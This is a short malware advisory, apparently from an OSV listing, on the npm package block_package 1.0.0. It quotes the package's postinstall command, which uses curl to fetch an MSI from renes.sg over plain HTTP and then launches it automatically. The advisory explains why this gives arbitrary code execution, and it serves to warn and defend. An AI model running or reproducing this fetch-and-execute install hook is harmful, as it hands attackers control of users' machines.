block_package @1.0.0
Vulnerability report · Last retrieved from osv.dev August 5, 2026 at 5:03 PM UTC
OSV ID
MAL-2026-12340
Ecosystem
npm
Summary
scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npm_block_package.msi & start npm_block_package.msi , fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.
Source: amazon-inspector (33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.